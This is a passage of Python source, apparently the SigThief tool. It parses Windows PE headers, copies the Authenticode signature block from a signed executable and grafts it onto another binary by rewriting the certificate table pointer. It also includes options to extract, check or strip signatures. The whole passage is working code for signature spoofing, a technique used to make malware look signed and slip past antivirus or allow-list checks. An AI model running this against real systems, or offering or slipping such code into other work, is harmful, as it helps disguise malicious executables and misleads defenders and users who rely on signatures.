if flItms['Magic'] != 0x20B:
flItms['BaseOfData'] = struct.unpack('<I', binary.read(4))[0]
# End Standard Fields section of Optional Header
# Begin Windows-Specific Fields of Optional Header
if flItms['Magic'] == 0x20B:
flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[0]
else:
flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0]
flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0]
flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0]
flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',
binary.read(2))[0]
flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',
binary.read(2))[0]
flItms['MajorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MinorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfImageLoc'] = binary.tell()
flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0]
flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0]
flItms['Subsystem'] = struct.unpack('<H', binary.read(2))[0]
flItms['DllCharacteristics'] = struct.unpack('<H', binary.read(2))[0]
if flItms['Magic'] == 0x20B:
flItms['SizeOfStackReserve'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfStackCommit'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfHeapReserve'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0]
else:
flItms['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfStackCommit'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0]
flItms['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0] # zero
flItms['NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))[0]
# End Windows-Specific Fields of Optional Header
# Begin Data Directories of Optional Header
flItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0]
flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()
#ImportTable SIZE|LOC
flItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0]
flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0]
flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0]
flItms['CertTableLOC'] = binary.tell()
flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0]
flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0]
binary.close()
return flItms
def copyCert(exe):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Input file Not signed!")
sys.exit(-1)
with open(exe, 'rb') as f:
f.seek(flItms['CertLOC'], 0)
cert = f.read(flItms['CertSize'])
return cert
def writeCert(cert, exe, output):
flItms = gather_file_info_win(exe)
if not output:
output = output = str(exe) + "_signed"
shutil.copy2(exe, output)
print("Output file: {0}".format(output))
with open(exe, 'rb') as g:
with open(output, 'wb') as f:
f.write(g.read())
f.seek(0)
f.seek(flItms['CertTableLOC'], 0)
f.write(struct.pack("<I", len(open(exe, 'rb').read())))
f.write(struct.pack("<I", len(cert)))
f.seek(0, io.SEEK_END)
f.write(cert)
print("Signature appended. \nFIN.")
def outputCert(exe, output):
cert = copyCert(exe)
if not output:
output = str(exe) + "_sig"
print("Output file: {0}".format(output))
open(output, 'wb').write(cert)
print("Signature ripped. \nFIN.")
def check_sig(exe):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Inputfile Not signed!")
else:
print("Inputfile is signed!")
def truncate(exe, output):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Inputfile Not signed!")
sys.exit(-1)
else:
print( "Inputfile is signed!")
if not output:
output = str(exe) + "_nosig"
print("Output file: {0}".format(output))
shutil.copy2(exe, output)
with open(output, "r+b") as binary:
print('Overwriting certificate table pointer and truncating binary')
binary.seek(-flItms['CertSize'], io.SEEK_END)
binary.truncate()
binary.seek(flItms['CertTableLOC'], 0)
binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")
print("Signature removed. \nFIN.")
def signfile(exe, sigfile, output):
flItms = gather_file_info_win(exe)
cert = open(sigfile, 'rb').read()
if not output:
output = output = str(exe) + "_signed"
shutil.copy2(exe, output)
print("Output file: {0}".format(output))
with open(exe, 'rb') as g:
with open(output, 'wb') as f:
f.write(g.read())
f.seek(0)
f.seek(flItms['CertTableLOC'], 0)
f.write(struct.pack("<I", len(open(exe, 'rb').read())))
f.write(struct.pack("<I", len(cert)))
f.seek(0, io.SEEK_END)
f.write(cert)
print("Signature appended. \nFIN.")
if __name__ == "__main__":
usage = 'usage: %prog [options]'
print("\n\n!! New Version available now for Dev Tier Sponsors! Sponsor here: https://github.com/sponsors/secretsquirrel\n\n")
parser = OptionParser()
parser.add_option("-i", "--file", dest="inputfile",
help="input file", metavar="FILE")
parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
help='rip signature off inputfile')
parser.add_option('-a', '--add', dest='addsig', action='store_true',
help='add signautre to targetfile')
parser.add_option('-o', '--output', dest='outputfile',
help='output file')
parser.add_option('-s', '--sig', dest='sigfile',
help='binary signature from disk')
parser.add_option('-t', '--target', dest='targetfile',
help='file to append signature to')
parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
help='file to check if signed; does not verify signature')
parser.add_option('-T', '--truncate', dest="truncate", action='store_true',
help='truncate signature (i.e. remove sig)')
(options, args) = parser.parse_args()
# rip signature
# inputfile and rip to outputfile
if options.inputfile and options.ripsig:
print("Ripping signature to file!")
outputCert(options.inputfile, options.outputfile)
sys.exit()
# copy from one to another
# inputfile and rip to targetfile to outputfile
if options.inputfile and options.targetfile:
cert = copyCert(options.inputfile)
writeCert(cert, options.targetfile, options.outputfile)
sys.exit()
# check signature
# inputfile
if options.inputfile and options.checksig:
check_sig(options.inputfile)
sys.exit()
# add sig to target file
if options.targetfile and options.sigfile:
signfile(options.targetfile, options.sigfile, options.outputfile)
sys.exit()
# truncate
if options.inputfile and options.truncate:
truncate(options.inputfile, options.outputfile)
sys.exit()
parser.print_help()
parser.error("You must do something!")